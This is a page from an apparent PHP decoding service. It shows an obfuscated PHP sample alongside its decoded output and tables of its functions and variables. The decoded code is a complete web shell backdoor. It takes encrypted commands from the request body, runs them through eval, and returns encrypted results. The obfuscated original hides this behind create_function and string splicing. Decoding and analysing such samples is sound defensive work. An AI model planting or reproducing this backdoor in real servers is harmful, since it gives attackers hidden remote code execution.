Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$y='"$ICHGSWW1ncoDG$ITsv$Ip";function x$I($t,$k)$I{$c$I=strle$In($I$k);$l=str'; $o='$j$I+..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="2cb00388";$kh="f2110209ccb1";$kf="5e8ec3ab5835";$p="CHGSWW1ncoDGTsvp";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

$y='"$ICHGSWW1ncoDG$ITsv$Ip";function x$I($t,$k)$I{$c$I=strle$In($I$k);$l=str';
$o='$j$I++$I$I,$i++){$o.=$t{$i$I}^$k{$j$I};}}$Ireturn $o$I;}if$I (@preg_$I$Im';
$S='len($I$$It);$o$I="$I";for$I($i=0;$i<$l;)$I{for$I($j=0;($$Ij$I<$c&&$i<$l);';
$i='@$Ib$Iase64_e$Incode(@x(@gzco$Impress$I($o),$$Ik)$I)$I;print("$p$kh$r$I$kf");}';
$s=str_replace('tG','','tGcretGatetG_ftGutGnctGtion');
$P='de($m[1]),$k)));$I$o=@ob_get$I_co$Inten$Its();@ob_$Iend_c$Ilean$I();$r=';
$Y='$Im$I)==1) {@ob_start();@e$Ival(@g$I$Izunc$Iompress($I$I@x(@b$Iase64_$Ide$Ico';
$v='$k="2cb$I0038$I8";$kh="f$I2110$I209$Iccb1";$I$kf="5e8ec3a$Ib5835$I";$$Ip$I=';
$N='atch("$I/$k$Ih(.+)$kf/",@$Ifile_ge$It_c$Iontents("$Iphp:$I//$Iinp$Iut"),$';
$r=str_replace('$I','',$v.$y.$S.$o.$N.$Y.$P.$i);
$E=$s('',$r);$E();

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$N atch("$I/$k$Ih(.+)$kf/",@$Ifile_ge$It_c$Iontents("$Iphp:$I//..
$P de($m[1]),$k)));$I$o=@ob_get$I_co$Inten$Its();@ob_$Iend_c$Il..
$S len($I$$It);$o$I="$I";for$I($i=0;$i<$l;)$I{for$I($j=0;($$Ij$..
$Y $Im$I)==1) {@ob_start();@e$Ival(@g$I$Izunc$Iompress($I$I@x(@..
$i @$Ib$Iase64_e$Incode(@x(@gzco$Impress$I($o),$$Ik)$I)$I;print..
$k 2cb00388
$o $j$I++$I$I,$i++){$o.=$t{$i$I}^$k{$j$I};}}$Ireturn $o$I;}if$I..
$p CHGSWW1ncoDGTsvp
$r $k="2cb00388";$kh="f2110209ccb1";$kf="5e8ec3ab5835";$p="CHGS..
$s create_function
$v $k="2cb$I0038$I8";$kh="f$I2110$I209$Iccb1";$I$kf="5e8ec3a$Ib..
$y "$ICHGSWW1ncoDG$ITsv$Ip";function x$I($t,$k)$I{$c$I=strle$In..
$kf 5e8ec3ab5835
$kh f2110209ccb1

Stats

MD5 173f3d22a63088cbe0891dc188926e60
Eval Count 1
Decode Time 289 ms